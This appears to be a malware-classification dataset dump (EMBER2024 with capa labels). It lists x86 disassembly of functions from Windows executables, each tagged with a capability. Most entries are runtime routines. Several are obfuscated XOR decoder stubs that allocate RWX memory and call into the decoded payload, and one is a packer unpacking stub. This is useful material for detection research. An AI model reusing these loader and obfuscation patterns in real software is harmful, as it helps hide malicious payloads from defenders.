joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f2e7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x43aa48]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41f32d
cmp word [ebx], dx
jne 0x41f32d
or byte [eax + edi + 0x28], 4
jmp 0x41f332
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x41f495
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x41f475
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x41f373
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41f3a9
cmp eax, edx
jae 0x41f3b7
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x41f34e
jmp 0x41f495
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41f470
cmp dword [ebp - 0x18], 0
je 0x41f470
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x43aa48]
test byte [eax + edi + 0x28], 0x48
je 0x41f446
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x41f40a
mov word [esi], cx
jmp 0x41f441
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x43aa48]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x43aa48]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x43aa48]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x41f495
pop eax
cmp word [ebp - 4], ax
jne 0x41f456
cmp esi, ebx
jne 0x41f456
mov word [esi], ax
jmp 0x41f492
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041fd20
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x41f495
push 0xd
pop eax
jmp 0x41f451
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x43aa48]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x41f48f
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x41f495
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42231b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4223b8
push ebx
push esi
call fcn.004222e4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041b80e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x422365
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4223b7
push edi
push eax
call fcn.0041b66e
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x422385
call fcn.0041b28a
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4223b6
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041b80e
add esp, 0x20
test eax, eax
jne 0x4223a4
push edi
call fcn.0041b28a
jmp 0x4223ac
push ebx
call fcn.0041b28a
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4223bb
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4223cc
pop esi
ret
push ebx
push edi
push esi
call fcn.004222e4
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0041b66e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4223f4
push ebx
push esi
push edi
call fcn.0040c890
add esp, 0xc
push 0
call fcn.0041b28a
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x422b4e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00422669

Function at 0x4251bb
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0041a12b
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x42522a
cmp esi, dword [ebp - 4]
je 0x425225
cmp dword [ebp + 0xc], 0
je 0x425225
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x425202
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00424d0d
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x42522c
xor eax, eax
inc eax
jmp 0x42522c
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x425291
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x439080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0041a12b
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0041a12b
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x425308
cmp word [ecx], dx
je 0x425308
mov eax, dword [0x4317a4]
push edi
dec eax
push eax
push 0x431690
call fcn.00425230
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x42537b
cmp word [eax], dx
je 0x42537b
mov eax, dword [edi]
test eax, eax
je 0x42532c
cmp word [eax], dx
je 0x42532c
lea eax, [ebp - 0x10]
push eax
call fcn.00424c13
jmp 0x425335
lea eax, [ebp - 0x10]
push eax
call fcn.00424cae
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4253a5
mov eax, dword [0x43168c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x431380
call fcn.00425230
add esp, 0xc
test al, al
je 0x4253a5
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x425370
cmp word [eax], di
je 0x425370
lea eax, [ebp - 0x10]
push eax
call fcn.00424c13
pop ecx
jmp 0x4253a7
lea eax, [ebp - 0x10]
push eax
call fcn.00424cae
jmp 0x42536d
mov eax, dword [edi]
test eax, eax
je 0x425392
cmp word [eax], dx
je 0x425392
lea eax, [ebp - 0x10]
push eax
call fcn.00424bc8
pop ecx
jmp 0x4253a5
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x425470
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.004250b5
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x425470
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x425470
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x425470
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4253fd
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0041d0d5
test ebx, ebx
je 0x42546b
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0041d0d5
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x425470
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x425470
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00429537
add esp, 0x10
xor eax, eax
inc eax
jmp 0x425472
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b390
leave
ret
Function at 0x429c75
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00429bf1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x429de4
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x429de4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x429d99
jg 0x429cd1
test eax, eax
je 0x429d8f
push 1
push 0x1000
call fcn.0041a608
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x429cf4
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x429d86
push 0x8000
push ebx
call fcn.004180de
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x429d1d
jg 0x429d18
cmp ecx, 0x1000
jb 0x429d1d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0041b06e
add esp, 0x10
cmp eax, 0xffffffff
je 0x429d62
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x429d18
jl 0x429d49
test ecx, ecx
jne 0x429d0a
push dword [ebp - 0xc]
push ebx
call fcn.004180de
push esi
call fcn.0041b28a
add esp, 0xc
xor ebx, ebx
jmp 0x429df2
cmp byte [edi + 0x24], 0
je 0x429d79
cmp dword [edi + 0x20], 5
jne 0x429d79
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x429d84
mov ebx, dword [edi + 0x18]
jmp 0x429d86
xor ebx, ebx
push esi
call fcn.0041b28a
pop ecx
jmp 0x429df2
test ecx, ecx
jg 0x429d5b
jl 0x429d99
test eax, eax
jae 0x429d5b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041fd20
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x429db9
cmp byte [edi + 0x1c], 0
je 0x429d5b
jmp 0x429dea
push ebx
call fcn.0042318c
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x429d5b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x429df2
cmp byte [edi + 0x1c], 0
je 0x429def
mov ebx, dword [edi + 0x18]
jmp 0x429df2
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0041fd20
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42b1c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42b1ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42b1ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401020
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call dword [sym.imp.ucrtbase.dll__configure_narrow_argv]
call dword [sym.imp.ucrtbase.dll__initialize_narrow_environment]
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___argv
mov edi, dword [eax]
call dword [sym.imp.ucrtbase.dll__get_initial_narrow_environment]
mov ebx, eax
mov eax, dword [0x40003c]
cmp word [eax + 0x40005c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll__set_app_type]
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.004010b0
mov dword [esp], eax
call 0x401090
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.ucrtbase.dll_exit]

Function at 0x16a4120
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.GVD1
lea edi, [esi - 0x1270000]
push edi
or ebp, 0xffffffff
jmp 0x16a4142
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x16a4149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
mov al, byte [edi]
jb 0x16a4138
mov eax, 1
add ebx, ebx
jne 0x16a415d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x16a416e
jne 0x16a417e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16a417e
dec eax
add ebx, ebx
jne 0x16a417a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x16a4152
xor ecx, ecx
sub eax, 3
jb 0x16a4196
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x16a420a
sar eax, 1
mov ebp, eax
jmp 0x16a41a1
add ebx, ebx
jne 0x16a41a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x16a41ae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x16a41d2
inc ecx
add ebx, ebx
jne 0x16a41be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x16a41b3
jne 0x16a41cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x16a41b3
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
mov al, byte [edi + ecx]
jbe 0x16a41f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x16a41e6
jmp 0x16a413e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x16a41f4
add edi, ecx
jmp 0x16a413e
pop esi
mov edi, esi
mov ecx, 0x346a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x16a4212
cmp byte [edi], 0x16
jne 0x16a4212
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x16a4217
lea edi, [esi + 0x12a1000]
mov eax, dword [edi]
or eax, eax
je 0x16a4286
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12a57f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12a58e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x16a4244
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12a58ec]
or eax, eax
je 0x16a4280
mov dword [ebx], eax
add ebx, 4
jmp 0x16a4261
call dword [esi + 0x12a58f0]
popal
jmp 0x46b748
Function at 0x1001d471
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10048aac], 0
push esi
push edi
jne 0x1001d3e7
call fcn.1001d353
test eax, eax
je 0x1001d42c
mov eax, dword [0x10048aac]
cmp eax, 1
jne 0x1001d408
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1001d42c
jmp 0x1001d46e
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1001d46e
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1001d430
xor eax, eax
jmp 0x1001d46e
mov eax, dword [esi]
push dword [0x10048aac]
call edi
mov edi, eax
test edi, edi
je 0x1001d452
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1001d46e
lea edi, [esi + 0xff0]
push esi
push dword [0x10048aac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1001d458
mov eax, esi
pop edi
pop esi
ret
jmp 0x1001d3d3

Function at 0x1001d742
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10047578]
jne 0x1001d74c
repz ret
jmp fcn.10023329

Function at 0x1001f6e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1001f6ef
pop dword [ebp - 4]
mov eax, 0x1001f6ef
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x40856
push 0
mov eax, 0xf4f2ef2e
add eax, 0x1b1093a2
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0xfe0255ae
add ecx, 0x1fdf239
mov edx, eax
mov ebx, 0x7c204e90
sub ebx, 0x6c18d490
add ebx, dword [ebp - 4]
mov esi, 0x32290924
mov edi, dword [ebx]
xor edi, esi
mov dword [edx], edi
add edx, 0x751e59d2
sub edx, 0x751e59ce
add ebx, 0x8064cf82
sub ebx, 0x8064cf7e
loop 0x1001f743
add eax, 0x1126f
mov ebx, eax
add eax, 0xae58459a
sub eax, 0xae584595
mov ecx, 0x7d001afd
add ecx, 0x92ffe503
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x507211f7
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
mov ebx, dword [sym.imp.kernel32.dll_IsBadWritePtr]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x10
push esi
call ebx
test eax, eax
je 0x50721219
xor edi, edi
jmp 0x50721229
mov edi, dword [esi]
sub edi, 0x779ff326
neg edi
sbb edi, edi
not edi
and edi, esi
test edi, edi
jne 0x50721237
mov eax, 0x810002
jmp 0x50721369
mov esi, dword [ebp + 0x10]
push 0x18
push esi
call ebx
test eax, eax
jne 0x50721366
mov ebx, dword [ebp + 0xc]
push 0x10
push ebx
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
jne 0x50721366
mov eax, dword [ebx]
xor ecx, ecx
cmp eax, ecx
je 0x50721366
cmp word [eax], cx
je 0x50721366
lea edx, [ebp - 4]
push edx
push 0x507270e0
lea edx, [ebp - 0x114]
push 0x104
push edx
push 0xffffffffffffffff
push eax
push ecx
push ecx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
xor edx, edx
cmp eax, edx
je 0x50721366
cmp dword [ebp - 4], edx
jne 0x50721366
cmp dword [ebx + 8], 4
je 0x507212b5
mov dword [ebp + 8], 5
jmp 0x50721361
mov ecx, dword [esi]
cmp ecx, edx
je 0x507212f1
mov eax, dword [esi + 8]
cmp eax, edx
jbe 0x507212f1
add eax, eax
push eax
push ecx
call dword [sym.imp.kernel32.dll_IsBadWritePtr]
test eax, eax
jne 0x50721366
mov eax, dword [esi]
mov dword [0x5072b5b4], eax
and word [eax], 0
mov eax, dword [esi + 8]
mov dword [0x5072b5b8], eax
mov eax, dword [edi + 8]
mov dword [0x5072b5bc], eax
jmp 0x507212fd
mov dword [0x5072b5b4], edx
mov dword [0x5072b5b8], edx
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x114]
push eax
mov ax, word [ebx + 0xc]
push eax
push dword [edi + 4]
call fcn.507215ca
movzx eax, ax
test eax, eax
mov dword [ebp + 8], eax
jne 0x50721361
push 1
and dword [esi + 0xc], 0
pop eax
lea ecx, [ebp - 0x10]
mov dword [esi + 4], eax
mov dword [esi + 0x10], eax
mov ax, word [ebx + 0xc]
push 0xa
mov word [esi + 0x14], ax
mov word [edi + 0xc], ax
movzx eax, ax
push ecx
push 0x1004
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
test eax, eax
jle 0x50721361
lea eax, [ebp - 0x10]
push eax
call fcn.50723f67
pop ecx
mov dword [edi + 8], eax
mov eax, dword [ebp + 8]
jmp 0x50721369
push 2
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x50722fd3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x50722fe2
pop dword [ebp - 0x18]
mov eax, 0x50722fe2
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3459c
push 0
mov eax, 0xe28e273f
sub eax, 0x921bb6af
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xfce19c10
add ecx, 0x31ea2f4
mov edx, eax
mov esi, 0x5072e000
add esi, dword [ebp - 0x18]
mov ebx, 0xbd7612c2
sub ebx, 0xd129d120
xor dword [ebp - 0x10], ebx
mov edi, dword [esi]
xor dword [ebp - 0xc], ecx
add edi, ebx
mov dword [edx], edi
sub dword [ebp - 4], ebx
add edx, 0xbc622f40
sub edx, 0xbc622f3c
add esi, 4
loop 0x50723036
add eax, 0xeee3
mov ebx, eax
add eax, 0xa9a05480
sub eax, 0xa9a0547b
mov ecx, 0x70a9521c
add ecx, 0xdfc8ade4
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40110c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x818030]
jne 0x401116
repz ret
jmp fcn.00401b61

Function at 0x409235
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404c95
and dword [ebp - 4], 0
cmp dword [0x81a794], 0
mov ebx, eax
jne 0x4092e6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409397
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409397
push eax
call fcn.00404c23
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x81a794], eax
call esi
push eax
call fcn.00404c23
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x81a798], eax
call esi
push eax
call fcn.00404c23
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x81a79c], eax
call esi
push eax
call fcn.00404c23
pop ecx
mov dword [0x81a7a4], eax
test eax, eax
je 0x4092e6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404c23
pop ecx
mov dword [0x81a7a0], eax
mov eax, dword [0x81a7a0]
cmp eax, ebx
je 0x40933e
cmp dword [0x81a7a4], ebx
je 0x40933e
push eax
call fcn.00404c9e
push dword [0x81a7a4]
mov esi, eax
call fcn.00404c9e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40933e
test edi, edi
je 0x40933e
call esi
test eax, eax
je 0x409335
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409335
test byte [ebp - 0xc], 1
jne 0x40933e
or dword [ebp + 0x10], 0x200000
jmp 0x409377
mov eax, dword [0x81a798]
cmp eax, ebx
je 0x409377
push eax
call fcn.00404c9e
pop ecx
test eax, eax
je 0x409377
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409377
mov eax, dword [0x81a79c]
cmp eax, ebx
je 0x409377
push eax
call fcn.00404c9e
pop ecx
test eax, eax
je 0x409377
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x81a794]
call fcn.00404c9e
pop ecx
test eax, eax
je 0x409397
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409399
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b0a0
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x818030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2ff801c]
push ebx
mov ebx, dword [0x2ff7e68]
push esi
mov esi, dword [0x818f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b0e1
push str.pecoloniwifuforewuxito
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2ff801c]
mov dword [0x81a8f4], esi
cmp eax, 0x114e
jne 0x40b10b
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
lea eax, [esp + 0x14]
push eax
push str.famufinisiban
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2ff801c]
cmp eax, 0x2f
jne 0x40b12d
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
call fcn.0040aff0
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040110c
add esp, 0x428
ret
Function at 0x1002f9d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1002f9df
pop dword [ebp - 0x4c]
mov eax, 0x8cec7100
sub eax, 0x7ce97721
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xcd7caed9
sub dword [ebp - 0x5c], 0x7f2a698e
mov dword [ebp - 0x58], 0x6209a74d
add dword [ebp - 0x58], 0xd029a4f8
mov dword [ebp - 0x54], 0x4e4c9f84
sub dword [ebp - 0x54], 0x2005b56
mov dword [ebp - 0x50], 0x1dd4f252
sub dword [ebp - 0x50], 0x1dd4f252
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xc3cbd043
sub dword [ebp - 0x5c], 0x4f5966ed
mov dword [ebp - 0x58], 0x9ccec553
add dword [ebp - 0x58], 0xa49d9c22
mov dword [ebp - 0x54], 0xf64d605a
sub dword [ebp - 0x54], 0x92ddf3ee
mov dword [ebp - 0x50], 0x1b36dfe1
sub dword [ebp - 0x50], 0x1b36dfe1
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3ce0e
push 0
call eax
mov ecx, 0xb6d8a4ac
add ecx, 0x4927a066
xor edx, edx
add edx, eax
mov ebx, 0x10071200
add ebx, dword [ebp - 0x4c]
mov esi, 0xef5a7d92
sub esi, 0xfe1becb6
xor dword [ebp - 0x2c], 0xeb560273
mov edi, dword [ebx]
add dword [ebp - 0x44], edx
add edi, esi
add dword [ebp - 0x24], esi
mov dword [edx], edi
xor dword [ebp - 0x2c], edi
add edx, 4
add ebx, 0xc44a19a1
add ebx, 0x3bb5e663
loop 0x1002faf3
